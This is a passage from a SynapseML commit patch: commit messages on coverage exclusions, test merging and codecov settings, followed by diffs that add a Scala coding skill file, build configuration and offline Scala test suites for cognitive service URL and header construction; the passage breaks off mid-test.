would have rendered invisible to the coverage report. `fabric` likewise: only FabricClient and TokenLibrary touch a live environment; FabricTokenParser, OpenAIFabricSetting and RESTUtils are pure logic. A third entry, `build.*`, matches no source at all (0 files). Narrowed to the generator entry points and the two live-environment classes. 2. `RequiredErrorFields.toMap` passed `Exception.getMessage` through unguarded. It is null for exceptions built without a message, and spray-json's JsString rejects null, so `getPayload(...).toJson` threw `IllegalArgumentException: requirement failed` -- masking the very error being logged. Coalesced to an empty string. ## Prompting Intent Engineer asked to audit the build items in this PR -- specifically the build.sbt test exclusions -- before granting it 5/5 confidence, and to resolve outstanding review comments. Both findings came out of that audit. ## Linked Sources - Copilot review comment on SynapseMLLogging.scala:45 (null value in toMap) - PR #2498, which adds core/src/test/.../codegen/{VerifyCodegenConfig, VerifyDefaultParamInfo,VerifyGenerationUtils}.scala ## Rationale Exclusions were narrowed rather than dropped entirely: CodeGen, PyCodegen, RCodegen and PythonInitMerger are build-time generator drivers, and FabricClient/TokenLibrary broker Fabric tokens, so none can be meaningfully covered by unit tests. Verified the resulting regexes against all 14 affected fully-qualified class names -- 7 excluded, 7 measured, no misroutes. For the null, empty string was chosen over omitting the key so the payload shape stays stable for downstream telemetry consumers. Proven with a probe before fixing (IllegalArgumentException reproduced), and the probe was kept as a regression test asserting both the map value and the serialized JSON. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * test: union the automl suites shared with #2498 to avoid losing tests on merge ## Summary PRs #2498 and #2507 each independently created the same three automl test files. Their test sets overlap but neither is a superset, so whichever PR merged second would hit an add/add conflict that could silently delete tests. Measured overlap by test name against master 7be27676bf: VerifyDefaultHyperparams only-2498 7 | shared 0 | only-2507 13 VerifyEvaluationUtils only-2498 7 | shared 5 | only-2507 13 VerifyHyperparamBuilder only-2498 10 | shared 4 | only-2507 17 VerifyDefaultHyperparams shares nothing at all -- the two PRs wrote entirely disjoint tests for it. Resolving the conflict by taking either side wholesale would have dropped 24 unique tests. These three files now hold the union, so the conflict resolves correctly by taking this branch's copy regardless of which PR merges first. ## Prompting Intent Engineer asked to get the shepherded PRs merge-ready and to audit the larger build-level concerns rather than only the code diff. This surfaced while verifying, rather than assuming, the merge order I had previously recommended. ## Linked Sources - PR #2498, which adds the overlapping automl suites - git merge --no-commit dry run of #2498 against #2507, which reproduced the add/add conflict on exactly these three files ## Rationale I had previously recorded that #2507's copies were a strict superset and that the conflict could be resolved by taking them. Comparing the actual test names disproved that, so the guidance is corrected here in code rather than left as a note for whoever merges second. Reconciled by keeping the stronger body where a name appeared on both sides, and unifying HyperparamBuilder's two incompatible TestParams fixtures on the class-based one so there is a single definition. Dropped one pair of tests with byte-identical bodies under different names, which costs no coverage. Verified: 75 tests pass, 0 failures, scalastyle 0 errors. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * fix: restore the scoverage exclusion for generated BuildInfo ## Summary An earlier commit in this PR narrowed coverageExcludedPackages and dropped the com.microsoft.azure.synapse.ml.build entry, on the grounds that the pattern matched no files. That reasoning was wrong: the package is not in src/main, it is emitted by sbt-buildinfo into core/target/scala-2.12/src_managed/main/sbt-buildinfo/BuildInfo.scala so a source-tree search finds nothing while scoverage still instruments it. A local coverage run confirms it is measured: package com.microsoft.azure.synapse.ml.build classes 1 lines 28 line-rate 0.00 Restored the exclusion with an escaped, precisely anchored regex. ## Prompting Intent Engineer asked to audit the build-level changes in this PR, naming the build.sbt exclusions specifically, before treating it as merge-ready. ## Linked Sources - Local run: sbt coverage core/testOnly ... core/coverageReport - Generated cobertura report core/target/scala-2.12/coverage-report/cobertura.xml ## Rationale BuildInfo is emitted code with no branches and nothing meaningful to unit test, which is exactly what exclusions are for; measuring it only depresses the reported number without telling anyone anything actionable. Used the escaped form ...\.build\..* rather than the original unescaped build.*, so it cannot also match a hypothetical sibling package such as ...ml.buildTools. Confirmed against real fully-qualified class names that the final set excludes 9 and measures 6, and that CodegenConfig, DefaultParamInfo and GenerationUtils stay measured -- those are the classes PR #2498 adds tests for, and excluding them would have made that PR's tests contribute nothing. BuildInfo is the only generated Scala source in the repo, so no other package needs the same treatment. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * fix: relocate scala-code skill and correct codecov upload count ## Summary Two defects found while auditing this PR's own diff: 1. `.agents/skills/scala-code/SKILL.md` was added into a directory whose `README.md` states "Do not add SKILL.md files in this directory" - skills live in `.github/skills/`. Moved there, and added the `name`/`description` YAML frontmatter that both sibling skills carry; without frontmatter the skill would not be discoverable at all. 2. `codecov.yaml` set `after_n_builds: 40`, but the pipeline has 54 legs that run `templates/codecov.yml` (UnitTests 40 + PythonTests 7 + RTests 6 + WebsiteSamplesTests 1). At 40, Codecov comments after ~74% of uploads - exactly the "premature comments with incomplete data" the adjacent comment says it prevents. Corrected to 54 and documented the derivation. ## Prompting Intent User asked to verify that each PR's title, description, and code file diffs make sense, using parallel agents where useful. These two issues surfaced in that audit and were confirmed directly (README policy text; leg count computed by parsing pipeline.yaml job matrices) before changing anything. ## Linked Sources - PR: https://github.com/microsoft/SynapseML/pull/2507 - Policy: .agents/skills/README.md ## Rationale Both are defects in code this PR introduces, so they are fixed here rather than deferred to a follow-up. The leg count was measured by parsing the pipeline rather than estimated, since the original 40 appears to have come from counting only the UnitTests matrix. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --------- Co-authored-by: SynapseML CI Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Co-authored-by: Ranadeep Singh --- .github/skills/scala-code/SKILL.md | 49 +++ .github/workflows/pr-validation.yml | 2 +- build.sbt | 27 +- codecov.yaml | 17 + .../java/mssparkutils/cognitiveService.java | 27 ++ .../services/CognitiveServiceBaseSuite.scala | 189 ++++++++++ .../services/form/FormCoreOfflineSuite.scala | 235 ++++++++++++ .../geospatial/GeospatialCoreSuite.scala | 167 +++++++++ .../AnalyzeTextCoreOfflineSuite.scala | 159 ++++++++ .../openai/OpenAICoreOfflineSuite.scala | 186 ++++++++++ .../openai/OpenAIPromptParserSuite.scala | 126 +++++++ .../ml/services/openai/UsageUtilsSuite.scala | 116 ++++++ .../translate/TextTranslatorCoreSuite.scala | 340 ++++++++++++++++++ .../azure/synapse/ml/codegen/PyCodegen.scala | 3 +- .../synapse/ml/logging/SynapseMLLogging.scala | 5 +- .../ml/automl/VerifyDefaultHyperparams.scala | 205 +++++++++++ .../ml/automl/VerifyEvaluationUtils.scala | 195 ++++++++++ .../ml/automl/VerifyHyperparamBuilder.scala | 254 +++++++++++++ .../synapse/ml/causal/VerifyCacheOps.scala | 61 ++++ .../ml/causal/VerifySharedParams.scala | 104 ++++++ .../ml/core/contracts/VerifyMetrics.scala | 105 ++++++ .../ml/core/contracts/VerifyParams.scala | 189 ++++++++++ .../ml/core/env/VerifyPackageUtils.scala | 58 +++ .../core/metrics/VerifyMetricConstants.scala | 155 ++++++++ .../core/schema/VerifyBinaryFileSchema.scala | 92 +++++ .../core/schema/VerifyImageSchemaUtils.scala | 86 +++++ .../core/schema/VerifySchemaConstants.scala | 54 +++ .../synapse/ml/core/utils/VerifyOsUtils.scala | 15 + .../VerifyExplainerSharedParams.scala | 136 +++++++ .../ml/explainers/VerifyRowUtils.scala | 100 ++++++ .../ml/io/binary/VerifyBinaryFileFormat.scala | 123 +++++++ .../synapse/ml/io/http/VerifyClients.scala | 178 +++++++++ .../synapse/ml/io/http/VerifyHTTPSchema.scala | 179 +++++++++ .../ml/io/image/VerifyImageUtils.scala | 159 ++++++++ .../ml/logging/VerifyFeatureNames.scala | 61 ++++ .../ml/logging/VerifySynapseMLLogging.scala | 112 ++++++ .../common/VerifyPlatformDetails.scala | 53 ++- .../ml/logging/common/VerifyScrubber.scala | 107 +++--- .../ml/param/VerifyByteArrayParam.scala | 78 ++++ .../ml/param/VerifyDataFrameParam.scala | 163 +++++++++ .../ml/param/VerifyDataTypeParam.scala | 126 +++++++ .../ml/param/VerifyEstimatorArrayParam.scala | 93 +++++ .../ml/param/VerifyEvaluatorParam.scala | 95 +++++ .../synapse/ml/param/VerifyGlobalParams.scala | 101 ++++++ .../synapse/ml/param/VerifyModelParam.scala | 99 +++++ .../ml/param/VerifyPipelineStageParams.scala | 155 ++++++++ .../ml/param/VerifyPythonWrappableParam.scala | 126 +++++++ .../ml/param/VerifyRWrappableParam.scala | 152 ++++++++ .../synapse/ml/param/VerifyUDFParam.scala | 107 ++++++ .../synapse/ml/onnx/ONNXModelSuite.scala | 5 +- pipeline.yaml | 15 + .../ml/core/test/fuzzing/FuzzingTest.scala | 16 +- templates/publish_coverage_ado.yml | 20 ++ 53 files changed, 5718 insertions(+), 62 deletions(-) create mode 100644 .github/skills/scala-code/SKILL.md create mode 100644 cognitive/src/test/java/mssparkutils/cognitiveService.java create mode 100644 cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/CognitiveServiceBaseSuite.scala create mode 100644 cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/form/FormCoreOfflineSuite.scala create mode 100644 cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/geospatial/GeospatialCoreSuite.scala create mode 100644 cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/language/AnalyzeTextCoreOfflineSuite.scala create mode 100644 cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAICoreOfflineSuite.scala create mode 100644 cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptParserSuite.scala create mode 100644 cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/UsageUtilsSuite.scala create mode 100644 cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/translate/TextTranslatorCoreSuite.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/automl/VerifyDefaultHyperparams.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/automl/VerifyEvaluationUtils.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/automl/VerifyHyperparamBuilder.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/causal/VerifyCacheOps.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/causal/VerifySharedParams.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/core/contracts/VerifyMetrics.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/core/contracts/VerifyParams.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/core/env/VerifyPackageUtils.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/core/metrics/VerifyMetricConstants.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/core/schema/VerifyBinaryFileSchema.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/core/schema/VerifyImageSchemaUtils.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/core/schema/VerifySchemaConstants.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/core/utils/VerifyOsUtils.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/explainers/VerifyExplainerSharedParams.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/explainers/VerifyRowUtils.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/io/binary/VerifyBinaryFileFormat.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/io/http/VerifyClients.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/io/http/VerifyHTTPSchema.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/io/image/VerifyImageUtils.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/logging/VerifyFeatureNames.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/logging/VerifySynapseMLLogging.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyByteArrayParam.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyDataFrameParam.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyDataTypeParam.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyEstimatorArrayParam.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyEvaluatorParam.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyGlobalParams.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyModelParam.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyPipelineStageParams.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyPythonWrappableParam.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyRWrappableParam.scala create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/param/VerifyUDFParam.scala create mode 100644 templates/publish_coverage_ado.yml diff --git a/.github/skills/scala-code/SKILL.md b/.github/skills/scala-code/SKILL.md new file mode 100644 index 00000000000..1b90452de2b --- /dev/null +++ b/.github/skills/scala-code/SKILL.md @@ -0,0 +1,49 @@ +--- +name: scala-code +description: Write and modify Scala code in SynapseML. Use when adding or changing Scala transformers, estimators, or params to follow repo patterns, keep scalastyle and compilation green, and cover behavior changes with tests. +--- + +# Scala Code Skill + +Use this skill for any Scala code change in this repository. + +## Objectives +- Keep Scala changes correct, minimal, and production-safe. +- Prevent CI/CD breakage by validating style and compilation before completion. +- Ensure every behavior change is covered by tests. +- Scala code should be optimized to be efficient and maintainable, following existing patterns and practices in the codebase. + +## Scala best practices +- Follow existing SynapseML patterns (`DefaultParamsReadable`, `DefaultParamsWritable`, `Wrappable`, `SynapseMLLogging`). +- Keep business logic in Scala (not generated Python wrappers). +- Do not edit generated files under `target/`. +- Preserve license headers and existing package structure. +- Prefer small, focused changes and reuse existing helpers/traits. +- Avoid introducing flaky tests or network-dependent behavior unless already required by the suite. +- To get around scalastyle issues, don't just use `// scalastyle:off` or `//scalastyle:ignore`, but instead fix the underlying issue or refactor to avoid it. Unless, the refactor results in a more complex code structure, in which case, it may be acceptable to disable the specific scalastyle rule for that line or block of code, but this should be done sparingly and with justification. + +## Required validation steps (must run) +Run these commands before finishing Scala changes: + +1. Scala style checks: + - `sbt scalastyle "Test / scalastyle"` +2. Scala compile checks: + - `sbt compile` + - `sbt test:compile` +3. Relevant tests for touched modules/files: + - Example: `sbt "core/testOnly *SuiteName*"` or `sbt "cognitive/testOnly *SuiteName*"` + +If a command fails, fix the issue and rerun until passing. + +## Testing requirement for code changes +- Any Scala code change must be accompanied by tests (new tests or updates to existing tests). +- Bug fixes must include a regression test that fails before the fix and passes after. +- New logic/branches should include coverage for success and failure/edge cases where practical. +- Keep tests deterministic and aligned with current module test conventions. + +## Completion checklist +- [ ] Code follows existing Scala/SynapseML conventions. +- [ ] Style checks pass. +- [ ] Compile checks pass. +- [ ] Relevant tests pass. +- [ ] Scala code changes include corresponding tests. diff --git a/.github/workflows/pr-validation.yml b/.github/workflows/pr-validation.yml index 1a88968ee6d..782bd8a7d33 100644 --- a/.github/workflows/pr-validation.yml +++ b/.github/workflows/pr-validation.yml @@ -107,4 +107,4 @@ jobs: done <<< "$violations" - name: Compile - run: sbt compile test:compile + run: sbt compile "Test / compile" diff --git a/build.sbt b/build.sbt index 7b5d6445c65..08f6c81ca10 100644 --- a/build.sbt +++ b/build.sbt @@ -281,7 +281,32 @@ val settings = Seq( assembly / assemblyOption := (assembly / assemblyOption).value.copy(includeScala = false), autoAPIMappings := true, pomPostProcess := pomPostFunc, - sbtPlugin := false + sbtPlugin := false, + // Scoverage: exclude only code that genuinely cannot be exercised by unit tests -- + // the build-time generator entry points and the classes that require a live + // Microsoft Fabric environment (token brokering / workload endpoints). + // Deliberately NOT excluded: CodegenConfig, DefaultParamInfo, GenerationUtils and + // Wrappable are pure logic with existing unit tests, and fabric's FabricTokenParser, + // OpenAIFabricSetting and RESTUtils have no live-environment dependency. + // Kept inline (rather than a top-level val) so this diff stays a single hunk anchored + // on a stable line, which lets it cherry-pick cleanly onto the release branches. + coverageExcludedPackages := Seq( + "com\\.microsoft\\.azure\\.synapse\\.ml\\.codegen\\.CodeGen.*", + "com\\.microsoft\\.azure\\.synapse\\.ml\\.codegen\\.PyCodegen.*", + "com\\.microsoft\\.azure\\.synapse\\.ml\\.codegen\\.RCodegen.*", + "com\\.microsoft\\.azure\\.synapse\\.ml\\.codegen\\.PythonInitMerger.*", + // sbt-buildinfo generates BuildInfo into src_managed. It is emitted code with no + // branches, it is instrumented at 28 lines / 0% by scoverage, and there is nothing + // meaningful to unit test, so measuring it only depresses the reported number. + "com\\.microsoft\\.azure\\.synapse\\.ml\\.build\\..*", + "com\\.microsoft\\.azure\\.synapse\\.ml\\.fabric\\.FabricClient.*", + "com\\.microsoft\\.azure\\.synapse\\.ml\\.fabric\\.TokenLibrary.*", + "com\\.microsoft\\.azure\\.synapse\\.ml\\.logging\\.fabric\\..*" + ).mkString(";"), + coverageFailOnMinimum := false, + coverageHighlighting := true, + // Cobertura XML is the format the Azure DevOps coverage publisher consumes. + coverageOutputCobertura := true ) ThisBuild / publishMavenStyle := true diff --git a/codecov.yaml b/codecov.yaml index a9b25613766..1b7bcf19df9 100644 --- a/codecov.yaml +++ b/codecov.yaml @@ -1,6 +1,20 @@ codecov: notify: require_ci_to_pass: no + # Wait for expected number of coverage uploads before sending notifications + # This prevents premature comments with incomplete data. + # 54 = UnitTests 40 + PythonTests 7 + RTests 6 + WebsiteSamplesTests 1 + # (every leg of those jobs runs templates/codecov.yml on succeededOrFailed). + after_n_builds: 54 + +comment: + layout: "reach,diff,flags,files" + behavior: new + require_changes: false + require_base: false + require_head: true + # Wait for all expected uploads before commenting (see note above) + after_n_builds: 54 coverage: precision: 2 @@ -25,6 +39,9 @@ flags: scala: paths: - src/main/scala + # Carry forward coverage from previous builds for unchanged files + carryforward: true python: paths: - src/main/python + carryforward: true diff --git a/cognitive/src/test/java/mssparkutils/cognitiveService.java b/cognitive/src/test/java/mssparkutils/cognitiveService.java new file mode 100644 index 00000000000..fbcfde09ea8 --- /dev/null +++ b/cognitive/src/test/java/mssparkutils/cognitiveService.java @@ -0,0 +1,27 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package mssparkutils; + +public final class cognitiveService { + + private cognitiveService() { } + + public static String getEndpoint(String linkedServiceName) { + return "https://" + linkedServiceName + ".endpoint"; + } + + public static String getKey(String linkedServiceName) { + return "key-" + linkedServiceName; + } + + public static String getLocation(String linkedServiceName) { + if ("gov".equals(linkedServiceName)) { + return "usgovvirginia"; + } + if ("cn".equals(linkedServiceName)) { + return "chinanorth"; + } + return "eastus"; + } +} diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/CognitiveServiceBaseSuite.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/CognitiveServiceBaseSuite.scala new file mode 100644 index 00000000000..46b1ef30150 --- /dev/null +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/CognitiveServiceBaseSuite.scala @@ -0,0 +1,189 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.services + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import com.microsoft.azure.synapse.ml.param.ServiceParam +import org.apache.http.entity.AbstractHttpEntity +import org.apache.spark.ml.param.{ParamMap, Params} +import org.apache.spark.sql.Row +import spray.json.DefaultJsonProtocol._ + +private class ServiceParamHarness(override val uid: String = "serviceParamHarness") + extends Params with HasServiceParams { + + val requiredText: ServiceParam[String] = + new ServiceParam[String](this, "requiredText", "required text", isRequired = true) + + val optionalText: ServiceParam[String] = + new ServiceParam[String](this, "optionalText", "optional text") + + val urlVersion: ServiceParam[String] = + new ServiceParam[String](this, "urlVersion", "url version", isURLParam = true) + + def vectorParamMap: Map[String, String] = getVectorParamMap + + def requiredParamNames: Set[String] = getRequiredParams.map(_.name).toSet + + def urlParamNames: Set[String] = getUrlParams.map(_.name).toSet + + def shouldSkipRow(row: Row): Boolean = shouldSkip(row) + + def valueMap(row: Row, excludes: Set[ServiceParam[_]] = Set()): Map[String, Any] = getValueMap(row, excludes) + + def valueAnyOpt(row: Row, p: ServiceParam[_]): Option[Any] = getValueAnyOpt(row, p) + + override def copy(extra: ParamMap): Params = this +} + +private class LocationHarness(override val uid: String = "locationHarness") + extends Params with HasSetLocation { + + override def urlPath: String = "/v1/resource" + + override def copy(extra: ParamMap): Params = this +} + +private class CustomDomainHarness(override val uid: String = "customDomainHarness") + extends Params with HasCustomCogServiceDomain { + + override def urlPath: String = "/deployments/chat/completions" + + override private[ml] def internalServiceType: String = "openai" + + override def copy(extra: ParamMap): Params = this +} + +private class LinkedServiceHarness(override val uid: String = "linkedServiceHarness") + extends Params with HasSetLinkedService { + + override def urlPath: String = "/analyze" + + override def copy(extra: ParamMap): Params = this +} + +private class LinkedServiceLocationHarness(override val uid: String = "linkedServiceLocationHarness") + extends Params with HasSetLinkedServiceUsingLocation { + + override def urlPath: String = "/analyze" + + override def copy(extra: ParamMap): Params = this +} + +private class CognitiveInputHarness(override val uid: String = "cognitiveInputHarness") + extends Params with HasCognitiveServiceInput { + + val apiVersion: ServiceParam[String] = + new ServiceParam[String](this, "apiVersion", "api version", isURLParam = true) + + val requiredText: ServiceParam[String] = + new ServiceParam[String](this, "requiredText", "required text", isRequired = true) + + override protected def prepareEntity: Row => Option[AbstractHttpEntity] = _ => None + + def buildUrl(row: Row): String = prepareUrl(row) + + def headers(row: Row, addContentType: Boolean = true): Map[String, String] = getHeaders(row, addContentType) + + def shouldSkipRow(row: Row): Boolean = shouldSkip(row) + + override def copy(extra: ParamMap): Params = this +} + +class CognitiveServiceBaseSuite extends TestBase { + + import spark.implicits._ + + test("setLocation maps cloud domains deterministically") { + val service = new LocationHarness() + .setLocation("eastus") + assert(service.getUrl == "https://eastus.api.cognitive.microsoft.com/v1/resource") + + service.setLocation("usgovarizona") + assert(service.getUrl == "https://usgovarizona.api.cognitive.microsoft.us/v1/resource") + + service.setLocation("chinanorth") + assert(service.getUrl == "https://chinanorth.api.cognitive.microsoft.cn/v1/resource") + } + + test("custom domain helpers build deterministic urls") { + val service = new CustomDomainHarness() + .setCustomServiceName("contoso") + assert(service.getUrl == "https://contoso.cognitiveservices.azure.com/deployments/chat/completions") + + service.setEndpoint("https://custom.endpoint/") + assert(service.getUrl == "https://custom.endpoint/deployments/chat/completions") + + val internal = new CustomDomainHarness() + .setDefaultInternalEndpoint("https://fabric") + assert(internal.getOrDefault(internal.url) == "https://fabric/cognitive/openai/deployments/chat/completions") + } + + test("linked service setter resolves endpoint and key locally") { + val service = new LinkedServiceHarness() + .setLinkedService("demo") + + assert(service.getUrl == "https://demo.endpoint/analyze") + assert(service.getSubscriptionKey == "key-demo") + } + + test("linked service location setter resolves domain and key locally") { + val service = new LinkedServiceLocationHarness() + .setLinkedService("gov") + + assert(service.getUrl == "https://usgovvirginia.api.cognitive.microsoft.us/analyze") + assert(service.getSubscriptionKey == "key-gov") + } + + test("service param helper methods are deterministic") { + val harness = new ServiceParamHarness() + harness.setVectorParam(harness.requiredText, "requiredCol") + harness.setVectorParam("urlVersion", "versionCol") + harness.setScalarParam("optionalText", "fallback") + + val row = Seq(("hello", "2024-10-01")).toDF("requiredCol", "versionCol").head() + assert(harness.vectorParamMap == Map("requiredText" -> "requiredCol", "urlVersion" -> "versionCol")) + assert(harness.requiredParamNames == Set("requiredText")) + assert(harness.urlParamNames == Set("urlVersion")) + assert(!harness.shouldSkipRow(row)) + assert(harness.valueAnyOpt(row, harness.urlVersion).contains("2024-10-01")) + assert( + harness.valueMap(row, Set(harness.urlVersion)) == + Map("requiredText" -> "hello", "optionalText" -> "fallback") + ) + + val missingRequired = Seq((Option.empty[String], "2024-10-01")).toDF("requiredCol", "versionCol").head() + assert(harness.shouldSkipRow(missingRequired)) + } + + test("cognitive input helper methods build urls and headers locally") { + val input = new CognitiveInputHarness() + input.setUrl("https://example.test/root") + input.setVectorParam(input.requiredText, "textCol") + input.setVectorParam(input.apiVersion, "versionCol") + + val row = Seq(("hello", "2024-10-01")).toDF("textCol", "versionCol").head() + assert(input.buildUrl(row) == "https://example.test/root?apiVersion=2024-10-01") + assert(!input.shouldSkipRow(row)) + + input.setCustomUrlRoot("https://override.test/root") + assert(input.buildUrl(row) == "https://override.test/root") + + val subscriptionHeaders = new CognitiveInputHarness().setSubscriptionKey("sub-key").headers(Row.empty) + assert(subscriptionHeaders("Ocp-Apim-Subscription-Key") == "sub-key") + assert(subscriptionHeaders("Content-Type") == "application/json") + assert(!subscriptionHeaders.contains("Authorization")) + + val aadHeaders = new CognitiveInputHarness().setAADToken("aad-token").headers(Row.empty) + assert(aadHeaders("Authorization") == "Bearer aad-token") + + val customHeaders = new CognitiveInputHarness() + .setCustomAuthHeader("Shared custom-auth") + .setCustomHeaders(Map("X-Test" -> "1")) + .headers(Row.empty) + assert(customHeaders("Authorization") == "Shared custom-auth") + assert(customHeaders("X-Test") == "1") + assert(customHeaders.contains("x-ai-telemetry-properties")) + } +} diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/form/FormCoreOfflineSuite.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/form/FormCoreOfflineSuite.scala new file mode 100644 index 00000000000..65f6423a8a3 --- /dev/null +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/form/FormCoreOfflineSuite.scala @@ -0,0 +1,235 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.services.form + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import com.microsoft.azure.synapse.ml.io.http.ErrorUtils +import org.apache.http.client.utils.URLEncodedUtils +import org.apache.http.entity.AbstractHttpEntity +import org.apache.http.util.EntityUtils +import org.apache.spark.sql.Row +import org.apache.spark.sql.types.{ArrayType, DoubleType, StringType, StructField, StructType} +import spray.json.DefaultJsonProtocol._ +import spray.json._ + +import java.net.URI +import java.nio.charset.StandardCharsets +import scala.collection.JavaConverters._ + +class FormCoreOfflineSuite extends TestBase { + + private class ExposedAnalyzeLayout(uid: String) extends AnalyzeLayout(uid) { + def requestEntity(row: Row): Option[AbstractHttpEntity] = prepareEntity(row) + def requestUrl(row: Row): String = prepareUrl(row) + } + + private class ExposedAnalyzeDocument(uid: String) extends AnalyzeDocument(uid) { + def requestEntity(row: Row): Option[AbstractHttpEntity] = prepareEntity(row) + def requestUrl(row: Row): String = prepareUrl(row) + } + + private class ExposedGetCustomModel(uid: String) extends GetCustomModel(uid) { + def requestUrl(row: Row): String = prepareUrl(row) + } + + private class ExposedAnalyzeCustomModel(uid: String) extends AnalyzeCustomModel(uid) { + def requestUrl(row: Row): String = prepareUrl(row) + } + + private def entityToBody(entity: AbstractHttpEntity): String = EntityUtils.toString(entity) + + private def queryParams(url: String): Map[String, String] = { + URLEncodedUtils + .parse(new URI(url), StandardCharsets.UTF_8) + .asScala + .map(p => p.getName -> p.getValue) + .toMap + } + + test("Form Recognizer params validate allowed values offline") { + val receipts = new AnalyzeReceipts("offline-receipts").setLocale("en-US") + assert(receipts.getLocale == "en-US") + + val document = new AnalyzeDocument("offline-document") + .setStringIndexType("utf16CodeUnit") + .setFeatures(Seq("barcodes", "languages")) + assert(document.getStringIndexType == "utf16CodeUnit") + assert(document.getFeatures == Seq("barcodes", "languages")) + + intercept[IllegalArgumentException] { + receipts.setLocale("fr-FR") + } + intercept[IllegalArgumentException] { + document.setStringIndexType("bad-value") + } + intercept[IllegalArgumentException] { + document.setFeatures(Seq("barcodes", "unsupported")) + } + } + + test("Form recognizer request entities build deterministic url and byte payloads") { + val urlInput = "https://contoso.example/layout.jpg" + val bytesInput = Array[Byte](1, 2, 3) + + val layoutFromUrl = new ExposedAnalyzeLayout("layout-url").setImageUrl(urlInput) + val urlPayload = entityToBody(layoutFromUrl.requestEntity(Row.empty).get).parseJson.asJsObject + assert(urlPayload.fields("source").convertTo[String] == urlInput) + + val layoutFromBytes = new ExposedAnalyzeLayout("layout-bytes").setImageBytes(bytesInput) + val bodyBytes = EntityUtils.toByteArray(layoutFromBytes.requestEntity(Row.empty).get) + assert(bodyBytes.sameElements(bytesInput)) + } + + test("AnalyzeDocument builds v3 request url and payload from local params") { + val imageUrl = "https://contoso.example/form.pdf" + val analyzeDocument = new ExposedAnalyzeDocument("analyze-document-url") + .setLocation("eastus") + .setPrebuiltModelId("prebuilt-layout") + .setImageUrl(imageUrl) + .setPages("1-2") + .setStringIndexType("utf16CodeUnit") + .setFeatures(Seq("barcodes", "languages")) + + val url = analyzeDocument.requestUrl(Row.empty) + val uri = new URI(url) + val query = queryParams(url) + assert(uri.getPath.endsWith("/formrecognizer/documentModels/prebuilt-layout:analyze")) + assert(query("api-version") == "2023-07-31") + assert(query("pages") == "1-2") + assert(query("stringIndexType") == "utf16CodeUnit") + assert(query("features") == "List(barcodes, languages)") + + val requestBody = entityToBody(analyzeDocument.requestEntity(Row.empty).get).parseJson.asJsObject + assert(requestBody.fields("urlSource").convertTo[String] == imageUrl) + } + + test("custom model endpoints append model id deterministically") { + val getModel = new ExposedGetCustomModel("get-custom-model-url") + .setLocation("eastus") + .setModelId("model-123") + .setIncludeKeys(true) + val getModelUrl = getModel.requestUrl(Row.empty) + assert(new URI(getModelUrl).getPath.endsWith("/formrecognizer/v2.1/custom/models/model-123")) + assert(queryParams(getModelUrl)("includeKeys") == "true") + + val analyzeCustom = new ExposedAnalyzeCustomModel("analyze-custom-model-url") + .setLocation("eastus") + .setModelId("model-123") + 